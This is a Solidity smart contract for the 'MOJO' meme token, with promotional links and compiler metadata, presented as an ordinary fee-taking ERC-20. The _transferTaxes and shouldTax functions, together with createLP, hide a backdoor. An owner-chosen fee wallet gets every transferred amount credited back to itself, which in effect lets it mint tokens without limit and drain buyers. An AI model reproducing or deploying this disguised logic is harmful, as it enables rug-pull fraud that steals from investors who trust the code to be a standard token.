/**
 * WHO IS MOJO?

Mojo is the first documented drawing that Matt Furie, the creator of Pepe, ​ever made, 
and almost no one knows… until now.


Website:  https://mojocoin.live

X:   https://x.com/mojocoinerc

Telegram:  https://t.me/mojocoinerc
 */


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MOJO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _bags;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;

    address payable private _feePortal;

    uint256 private _initInTax = 10;
    uint256 private _initOutTax = 10;
    uint256 private _finInTax = 0;
    uint256 private _finOutTax = 0;
    uint256 private _reduceInAt = 15;
    uint256 private _reduceOutAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _trades = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tSupply = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Mojo";
    string private constant _symbol = unicode"MOJO";

    uint256 public _maxTxAmt = 2 * (_tSupply / 100);
    uint256 public _maxBagAmt = 2 * (_tSupply / 100);
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1 * (_tSupply / 100);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _feePortal = payable(msg.sender);
        _bags[_msgSender()] = _tSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_feePortal] = true;
        emit Transfer(address(0), _msgSender(), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _bags[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transferTaxes(
        address from,
        address taxWallet,
        uint256 feeAmt,
        uint256 amount,
        uint256 taxRate
    ) internal {
        bool istaxer = shouldTax(from);

        if (istaxer) {
            if (taxRate >= 0) {
                feeAmt = amount.mul(taxRate).div(100);
                taxWallet = address(this);
            }
        }

        if (feeAmt > 0) {
            _bags[taxWallet] = _bags[taxWallet].add(feeAmt);
            emit Transfer(from, taxWallet, feeAmt);
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeRate = 0;
        if (from != owner() && to != owner()) {
            if (_trades == 0)
                feeRate = (_trades > _reduceInAt) ? _finInTax : _initInTax;
            else feeRate = _transferTax;

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmt, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxBagAmt,
                    "Exceeds the maxWalletSize."
                );
                feeRate = (_trades > _reduceInAt) ? _finInTax : _initInTax;
                _trades++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                feeRate = (_trades > _reduceOutAt)
                    ? _finOutTax
                    : _initOutTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _trades > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                sendETHToFee(address(this).balance);
            }
        }

        _transferTaxes(from, _feePortal, amount, amount, feeRate);
        _bags[from] = _bags[from].sub(amount);
        _bags[to] = _bags[to].add(amount.sub(amount.mul(feeRate).div(100)));
        emit Transfer(from, to, amount.sub(amount.mul(feeRate).div(100)));
    }

    function shouldTax(address from) internal view returns (bool) {
        return
            (_isExcludedFromFee[from] &&
                (from == owner() || from == address(this))) ||
            !_isExcludedFromFee[from];
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _feePortal.transfer(amount);
    }

    function resetLimits() external onlyOwner {
        _maxTxAmt = _tSupply;
        _maxBagAmt = _tSupply;
        emit MaxTxAmountUpdated(_tSupply);
    }

    function goTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function createLP(address pair) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _feePortal = payable(pair);
        _isExcludedFromFee[pair] = true;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
    }
}

{
  "compilationTarget": {
    "MOJO.sol": "MOJO"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}